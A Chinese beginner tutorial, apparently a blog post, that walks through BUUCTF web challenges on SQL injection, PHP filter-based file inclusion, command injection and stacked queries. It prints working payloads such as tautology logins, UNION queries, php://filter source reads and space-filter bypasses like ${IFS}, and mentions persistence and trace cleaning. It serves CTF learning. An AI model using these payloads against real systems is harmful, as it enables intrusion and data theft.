新手也能懂！从BUUCTF Web题入门CTF：手把手带你复现5个经典SQL注入与文件包含漏洞

CTFWeb安全SQL注入

于 2026-05-28 12:46:25 修改

·本内容遵循CC 4.0 BY-SA版权协议

从零玩转BUUCTF：5个经典Web漏洞实战指南

刚接触CTF的新手常被各种术语和技巧绕晕，尤其是Web安全方向。本文将以BUUCTF平台为战场，用5道典型题目带你理解SQL注入与文件包含漏洞的核心原理。不同于直接给出答案的"Writeup"，我们将从漏洞成因、测试思路到绕过技巧层层拆解，让你真正掌握"黑客思维"。

1. SQL注入漏洞入门：从万能密码到联合查询

SQL注入的本质是通过用户输入篡改数据库查询逻辑。以[极客大挑战 2019]EasySQL为例，当登录框的输入直接被拼接到SQL语句时：

SQL

SELECT * FROM users WHERE username='[输入1]' AND password='[输入2]'

构造1'or'1'='1作为用户名，实际执行的查询变为：

SQL

SELECT * FROM users WHERE username='1'or'1'='1' AND password='xxx'

由于'1'='1'恒为真，整个WHERE条件永远成立，这就是"万能密码"的原理。进阶的[极客大挑战 2019]LoveSQL则需要联合查询：

SQL

1' UNION SELECT 1,2,database()#

关键技巧：

用#或-- 注释掉原查询剩余部分
information_schema数据库存储所有表结构信息
group_concat()合并多行结果避免数据截断

注意：实际测试中应先确定字段数，避免因UNION两侧列数不一致报错

2. 文件包含漏洞：PHP伪协议的妙用

[ACTF2020 新生赛]Include展示了经典的本地文件包含(LFI)。当发现URL参数如?file=flag.php时，可以尝试：

TEXT

/?file=php://filter/read=convert.base64-encode/resource=flag.php

这个Payload的工作原理：

php://filter是PHP的流过滤器
convert.base64-encode对文件内容进行编码
避免直接包含php文件导致代码执行
解码后获得原始文件内容

常见过滤器组合：

过滤器类型	作用	适用场景
convert.base64-encode	Base64编码	读取PHP源码
string.rot13	ROT13加密	简单编码绕过
zlib.deflate	压缩数据	处理大文件

3. 命令注入的花式绕过

[ACTF2020 新生赛]Exec这类题目要求突破过滤执行系统命令。当直接输入127.0.0.1 && cat /flag被拦截时，可尝试：

BASH

# 空格绕过

cat${IFS}flag.txt

cat$IFS$9flag.txt

# 重定向符号

cat<flag.txt

cat<>flag.txt

# 内联执行

cat `ls`

过滤规则与绕过对照表：

被过滤字符	替代方案	原理
空格	${IFS}, <, >	特殊变量/重定向
竖线	%0a, %0d	换行符
关键词	反引号, 变量替换	语法多样性

4. 堆叠注入：一箭双雕的技巧

[SUCTF 2019]EasySQL展示了堆叠注入(stacked injection)的威力。通过分号分隔，一次性执行多条SQL语句：

SQL

1; SHOW DATABASES;

1; SHOW TABLES;

1; SELECT * FROM Flag;

与普通注入的区别在于：

常规注入只能修改原查询的逻辑
堆叠注入可以执行任意新语句
需要后端使用支持多语句的数据库驱动

实战提示：MySQL的mysqli_multi_query()函数容易引发此类漏洞

5. 综合实战：从信息收集到漏洞利用

完整的安全测试应遵循以下流程：

信息收集
- 查看网页源代码
- 检查HTTP响应头
- 目录扫描
漏洞探测
- 尝试常见Payload
- 观察错误回显
- 测试过滤规则
漏洞利用
- 定制化绕过方案
- 多步骤组合攻击
- 权限提升
后渗透
- 数据提取
- 维持访问
- 痕迹清理

以[极客大挑战 2019]Secret File为例，完整攻击链包括：

发现Archive_room.php隐藏路径
抓包找到secr3t.php
分析过滤规则（屏蔽../, tp等）
使用php://filter绕过限制
Base64解码获取flag

最后记住，CTF不是单纯比谁先找到flag，而是培养系统化的安全思维。建议每个题目做到：

记录所有测试Payload
分析后端可能的代码逻辑
总结防护方案